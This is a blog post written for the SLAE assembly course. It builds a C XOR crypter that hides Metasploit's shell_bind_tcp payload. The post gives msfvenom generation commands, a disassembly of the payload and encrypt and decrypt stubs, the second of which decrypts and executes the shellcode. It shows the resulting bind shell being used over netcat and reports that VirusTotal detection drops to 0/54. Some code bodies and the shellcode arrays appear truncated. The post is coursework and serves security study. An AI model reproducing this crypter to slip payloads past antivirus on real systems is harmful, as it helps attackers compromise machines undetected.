SLAE Assignment 7: Custom Crypter

So I’m here at the start of the final assignment of the SLAE exam. Its certainly been a lot of fun working through each of the previous assignments and I’m expecting this one will be the same as the subject is encryption.

The assignment requires:

  • Create a custom crypter like the one shown in the SLAE crypters video lecture
  • Free to use any existing encryption schema
  • Can use any programming language

As we’ve been given the freedom to choose any programming language to write the custom crypter I’ll use ‘C’.

Overview of Crypters

A custom crypter is made up of two stub components that:

  •  Encrypt the shellcode instructions and return those instructions so they can be used within the decrypt stub
  • Decrypt the encrypted shellcode instructions and then executes the shellcode.

Encryption Algorithms and Keys

The first design choice for the custom crypter is to decide which encryption algorithm will be used. There are a number of encryption libraries for C that work on Ubuntu such as openSSL , cryptlib or Libtom. However, a significant amount of code is required to perform encryption and they don’t offer a simple implementation as the RC4 algorithm used in the SLAE crypter lecture example. Therefore, I’m going to use a simple approach based upon the XOR stream cipher. The XOR cipher is a symmetric algorithm meaning that the same key is used for encryption and decryption. A stream cipher encrypts each individual plain text digit one at a time with a digit from the encryption key.

The solution I am going to implement will simply XOR each digit of the shellcode with a digit from the encryption key. The encryption digit used to encrypt the plaint text will be cycled through the encryption key. In this case a ‘digit’ will be a Byte in size, as this is how the shellcode is split up. The encryption key will be 8 Bytes in size giving 8 digits between 0 and 255. You are probably think that’s going to be very weak encryption and you are right. One question which came to mind when working through the crypter lectures and examples was

‘What is the lowest strength encryption required to evade most anti-virus detection engines, do you need to use AES or could something much more mundane do the job’?

If its possible to get a relatively high rate of evasion by just changing the code instructions as performed in the polymorphic shellcode assignment then what is required to successfully hide the signature of well known shellcode i.e. shellcode generated by Metasploit’s msfvenom? The shellcode used within the assignment will be the shell_bind_tcp payload generated by Metasploit’s msfvenom.


The first step is going to be to generate the shellcode instructions for the shell_bind_tcp from msfvenom. The shell_bind_tcp payload doesn’t require any additional options to be set, of course you can optionally set the IP address and the TCP port to bind to however I won’t change the default values in the hope that the signature of the shellcode will more likely to be well know. The default value for the TCP port is 4444. There are also a number of advanced settings, none of which need to be set. The screenshot below shows the options for the shell_bind_tcp payload from msfvenom.


So lets go ahead and generate the shellcode instructions

msfvenom -a x86 --platform linux -p linux/x86/shell_bind_tcp -f c -o shell_bind_tcp_instructions.txt

We can now check for bad characters using the command below

msfvenom -a x86 --platform linux -p  linux/x86/shell_bind_tcp -f c | grep 00

Unfortunately the shellcode contains a NULL Byte, which is a shame as I specifically don’t want to encode the payload to remove them as this would change the signature of the shellcode that will be scanned for by the anti-virus software.


If we look at the output from msfvenom we see there NULL Byte, highlighted in blue. We can also see that it is after the first system call has been executed, the 0x80 highlighted in red.

unsigned char buf[] = 

Why the NULL Byte

I was curious to see why there was a NULL Byte within the shellcode. Looking at the output from objdump below the NULL Byte is part of a push instruction in the 2nd system call. I’ve added a couple of comments and as can be seen the system call ID is 0x66 for socketcall() and as it is the 2nd system call in the shellcode it must be the bind() subfunction. The instruction which contains the NULL Byte also contains the hexadecimal value for the port number ‘4444’ or ‘0x115c’. Looking back at ‘assignment 1’ we can see that the sin_family argument is set before the Port number and the push instruction stores two argument values on the stack at once. It would be very easy to change the shellcode to remove the NULL Byte, but that would probably change the signature of the payload, which I don’t want to do.

 804a048: 31 db xor        ebx,ebx
 804a04a: f7 e3 mul        ebx
 804a04c: 53               push ebx
 804a04d: 43               inc ebx
 804a04e: 53               push ebx
 804a04f: 6a 02            push 0x2
 804a051: 89 e1            mov ecx,esp
 804a053: b0 66            mov al,0x66
 804a055: cd 80            int 0x80        ; 1st System Call execution
 804a057: 5b               pop ebx         ; Set socketcall() arg#1, sub-function ID
 804a058: 5e               pop esi
 804a059: 52               push edx
 804a05a: 68 02 00 11 5c   push 0x5c110002
 804a05f: 6a 10            push 0x10
 804a061: 51               push ecx
 804a062: 50               push eax
 804a063: 89 e1            mov ecx,esp
 804a065: 6a 66            push 0x66       ; Store 0x66 on Stack
 804a067: 58               pop eax         ; Set System Call ID 0x66
 804a068: cd 80            int 0x80        ; 2nd System Call Execution

Implications of the NULL Byte

The NULL Byte has an impact on the encrypt and decrypt stubs I’m going to write. In that when we try to get the length of the shellcode instructions the value won’t be correct as the strlen() function will stop counting when it reaches the NULL Byte. To mitigate this problem I’ll hard-code the length of the variable which holds the shellcode.

Checking the Shellcode with VirusTotal

So now I’ve got the payload I’m going to compile it into the C shellcode template and upload it to virustotal. Virus Total scans the file with 54 different anti-virus engines. Only 5 out of the 54 engines actually detected it as malicious which is a little surprising but may well be because it’s written for Linux.


I had an idea and wanted to see what would happen if I changed the shellcode.c template a little. I took out the printf() call and renamed the variable which contains the shellcode from code to data. The results were interesting:


The number of detection’s fell by 1 to 4/54.

Encryption and Decryption Function

As the XOR Cipher is a symmetric algorithm the same function should be able to be used for encrypting and decryption the shellcode, although there may be some slight differences. The function will perform the following:

  • Iterate over each plain text digit in the array holding the shellcode
  • Cycle through each digit in the array holding the encryption key
  • XOR the current shellcode digit with the current encryption key digit and store the result in the same position in the shellcode array
  • For encyption print the changed digit in the shellcode array in the format required for the shellcode to be executed
    • The format used in the shellcode array is ‘\xFF’ where FF is the hexadecimal Byte value of the shellcode instruction.
    • It may be useful to print the decrypted instruction in the decrypt stubs as well, to show the shellcode has been restored to it’s original values.

Brute-Forcing the Encryption Key

When brute-forcing the encryption key there must be a known reference-signature which can be used to test if the key has been found. The reference-signature will be 8-Bytes, the same length as the encryption key, and will be made up of NOP instructions ‘0x90’. As the encryption is so weak I am going to simply iterate through each possible option and test it against the known reference-signature.

I had though about prefixing the signature to the shellcode instructions. However, in an attempt to make it as easy as possible for the original shellcode to be detected by the anti-virus software I’m going to place it in a separate array so that the original shellcode is entirely in unchanged, other than the encryption, so it will be easier to be detected with anti-virus signatures and heuristics. The function will perform the following:

  • Iterate over each Byte in the reference-signature array
  • For each Byte in the reference-signature XOR the value with each of the possible key values until the know value ‘0x90’ is found.
  • When a correct key Byte is found store it in it’s respective position in the encryption key array
  • The key can now be passed to the encryption/decryption function


I’m going to put the two functions required for the crypter into a header file called ‘xorcrypter.h’. The header file contains only two function definitions

#ifndef XOR_CRYPER_H
#define XOR_CRYPER_H

void encryptShellcode(unsigned char shellcode[], int shellcode_length, unsigned char key[], int key_length);
void findEncryptionKey(unsigned char shellcode[], unsigned char key[], int encrypt_Key_Length, int code_signature_length);



So now we get down to the actual implementation of the crypter.

#include <stdio.h>
#include <string.h>

void encryptShellcode(unsigned char shellcode[], int shellcode_length, unsigned char key[], int key_length)
    // encrypt_key_index is used to index encryption key 
    int encrypt_key_index = 0;
    // Print the leading double quotes to enclose the shellcode
    // Iterate over the shellcode array and XOR the machine instruction
    // Byte with a Byte from the encryption key array. 
    int x = 0; 
    for(x=0; x < shellcode_length; x++)
        // Calculate which char within the encryption key to use
        encrypt_key_index = x % (key_length);
        // XOR the current machine instruction with the current
        // encryption key character and store the result in the same
        // position within the shellcode array. 
        shellcode[x] ^= key[encrypt_key_index];
        // Print the XOR'd shellcode instruction. 
        printf("\\x%02x", (int)shellcode[x]); 
    // Print trailing double quotes to enclose the shellcode

// findKey() brute forces the key which was used to XOR Encrypt
// the machine language instructions. 
void findEncryptionKey(unsigned char shellcode[], unsigned char key[], int encrypt_Key_Length, int code_signature_length)
    // The signature is the first 8 Bytes of the code variable
    // Copy the signature to a local variable so that the code
    // variable isn't changed whilst the key is being found.
    unsigned char codeSig[code_signature_length];
    int i = 0;
    while (i < code_signature_length)
        codeSig[i] = shellcode[i];
    // Used to Index the codeSig array when finding the encryption key
    int keyIndex = 0;
    // Holds character being tested
    unsigned char keyChar = 0;
    // Holds Result of decrypt test
    unsigned char decryptChar;
    // Loop Brute Forces the encryption y
    while(keyIndex < encrypt_Key_Length)
        // Set Character in key to be tested 
        // Test for correctly decrypted signature
        if(decryptChar == 0x90)
            // Assign the Correct Value to the Encryption Key
            key[keyIndex] = keyChar;
            // Reset the value to be tested to '0'
            keyChar = 0;
            // Increment the codeSig array index, the character being tested
        // Incrment the value to test. 

Encryption Stub: encrypt.c

The  encryption stub contains:

  • Two arrays containing the plain text version of the shellcode and the reference-signature
  • The encryption key stored in an unsigned char array i.e. a Byte array.

The code calls the encryptShellcode() function twice passing:

  • one of the two arrays and it’s length of the array
  • encryption key array and its length.

The code is well commented so I’m not going to describe each line.

#include <string.h>
#include "xorcrypter.h"


unsigned char signature[] = \

unsigned char code[] = \

int main(int argv, char* argc[])
 // Get String Length of the Shellcode
 int code_length = 78;
 // Define Encryption Key and Calculate it's string length 
 unsigned char encryptKey[]= {1,2,3,4,5,6,7,8};
 int encrypt_key_length = ENCRYPTION_KEY_LENGTH;

// Encrypt the signature
 encryptShellcode(signature, strlen(signature), encryptKey, encrypt_key_length);
 // Encrypt the shellcode
 encryptShellcode(code, code_length, encryptKey, encrypt_key_length);

return 0;

The encryption crypter is compiled using the following command:

gcc -fno-stack-protector -z execstack $1.c -o $1 xorcrypter.c

Running the Encryption Stub

I can now run the encryption stub to get the encrypted shellcode.


Decryption Stub: decrypt.c

Once the encryption crypter has been run I now have the ‘encrypted’ reference-signature and shellcode which can be added to the decrypt.c. The decryption stub is slightly different and contains:

  • Two arrays containing the cipher text version of the shellcode and the reference-signature
  • An unsigned char array i.e. a Byte array which will be used to store the encryption key once it has been brute forced.

The code calls:

  • findencryptionkey() passing the reference-signature array
  • encryptShellcode() passing the array containing the decrypted shellcode

The code is well commented so I’m not going to describe each line.

#include <string.h>
#include "xorcrypter.h"


unsigned char signature[] = \

//Encrypted Shellcode Instructions
unsigned char code[] = \

int main(int argv, char* argc[])
    // Define an array to store the Encryption Key once found. 
    unsigned char encryptKey[]= {0,0,0,0,0,0,0,0};
    int encryptKeyLength = ENCRYPTION_KEY_LENGTH;

    // Brute Force the encryption key using signature
    findEncryptionKey(signature, encryptKey, encryptKeyLength, CODESIGNATURE_LENGTH);
    // Decrypt shellcode
    encryptShellcode(code, strlen(code), encryptKey, encryptKeyLength);
    // Execute Shellcode
    int (*ret)() = (int(*)())code;
    return 0;

The decryption stub is compiled using the same command as the encryption stub.

Running the Decryption Stub

Now lets run the decryption stub and test it out. It prints out the decrypted shellcode instructions and then sits there waiting with a flashing cursor.


The final step is to connect to network connection which has been setup by the shellcode and check it works correctly. Once connected using the netcat command I’ve run two commands, which are underlined. Both commands run correctly with ‘ls’ listing the contents of the current folder and the ‘cat’ command listing the contents of the file encrypt.c.


The crypter is working as required, the shellcode instructions have been encrypted by the encryption stub and then decrypted by the decryption stub with the original shellcode produced by msfvenom running as expected.

Scanning the decryption stub with VirusTotal

Now the interesting bit, how will the different anti-virus scanning engines do, will they be able to detect that the decryption stub is in fact hiding a well known shellcode.


Well here’s the evidence there is now 0/54 detections, so I’ll guess we’ll call that ‘NO’. None of the AV engines were able to detect that the file was malicious. It maybe that VirusTotal doesn’t perform heuristic scanning but the naming of the functions hasn’t really been done to hide the fact the software is malicious.

Assignment Review

I’ve really enjoyed this assignment and I’ll certainly be repeating this with masm for Windows in the future to if it is possible to easily achieve a similar level of evasion. I’m guessing that with well known shellcode for windows the anti-virus engines detection ratio would be much higher, therefore possibly making evasion a little more tricky.

SLAE Final Thoughts

Well, hopefully that’s it for me for the SLAE exam. I’ll be forwarding the details to SecurityTube for them to assess my work and hopefully I’ll pass.

As a final word I’d like to thank Vivek and his team for what has been an excellent course which has given me a lot ideas to work on. Some of these may well make their way into being future posts on this site.

Source Code

The source code for the encode and decode stubs along with the xorcrypter.h and xorcrypter.c can be found in the following Git Hub repository

SLAE Student Details

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-793



This entry was posted in SLAE and tagged , , . Bookmark the permalink.

Leave a Reply

Please log in using one of these methods to post your comment: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s